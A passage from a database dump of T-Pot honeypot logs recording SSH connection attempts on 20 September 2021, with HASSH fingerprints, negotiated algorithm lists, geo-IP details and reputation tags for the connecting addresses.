"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55996, "dest_port": 22, "timestamp": "2021-09-20T11:09:13.631591", "@timestamp": "2021-09-20T11:09:13.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24837	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:13.098308+03	2021-09-20 14:15:09.31547+03	{"_id": "TgblAnwBvYTbRNuETRYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53022, "timestamp": "2021-09-20T11:09:13.098308", "@timestamp": "2021-09-20T11:09:13.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24838	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:04.128915+03	2021-09-20 14:15:09.31647+03	{"_id": "WAblAnwBvYTbRNuEKRXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38230, "timestamp": "2021-09-20T11:09:04.128915", "@timestamp": "2021-09-20T11:09:04.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24839	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:04.130945+03	2021-09-20 14:15:09.317471+03	{"_id": "WwblAnwBvYTbRNuEKRXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57024, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.130945", "@timestamp": "2021-09-20T11:09:04.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24840	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:05.042075+03	2021-09-20 14:15:09.319471+03	{"_id": "fQblAnwBvYTbRNuELBXG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 238548587408485, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50802, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.042075Z", "@timestamp": "2021-09-20T11:09:05.042Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24841	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:05.251826+03	2021-09-20 14:15:09.32047+03	{"_id": "hAblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38890, "timestamp": "2021-09-20T11:09:05.251826", "@timestamp": "2021-09-20T11:09:05.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24862	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:09:07.239609+03	2021-09-20 14:15:09.34947+03	{"_id": "qwblAnwBvYTbRNuEMhVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "695590e95c48", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:07.239609Z", "@timestamp": "2021-09-20T11:09:07.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24842	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:05.871835+03	2021-09-20 14:15:09.32147+03	{"_id": "hQblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58196, "timestamp": "2021-09-20T11:09:05.871835", "@timestamp": "2021-09-20T11:09:05.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24843	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:05.042234+03	2021-09-20 14:15:09.323472+03	{"_id": "ggblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50802, "timestamp": "2021-09-20T11:09:05.042234", "@timestamp": "2021-09-20T11:09:05.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24844	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:05.544926+03	2021-09-20 14:15:09.324471+03	{"_id": "gwblAnwBvYTbRNuELRXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38890, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.544926", "@timestamp": "2021-09-20T11:09:05.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24845	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.499076+03	2021-09-20 14:15:09.32647+03	{"_id": "iAblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45578 (192.168.176.2:22) [session: 210e7223bfdd]", "session": "210e7223bfdd", "@version": "1", "protocol": "ssh", "src_port": 45578, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.499076Z", "@timestamp": "2021-09-20T11:09:05.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24846	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:05.866492+03	2021-09-20 14:15:09.327471+03	{"_id": "iQblAnwBvYTbRNuELhVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58196 (192.168.176.2:22) [session: 49729f37da59]", "session": "49729f37da59", "@version": "1", "protocol": "ssh", "src_port": 58196, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.866492Z", "@timestamp": "2021-09-20T11:09:05.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
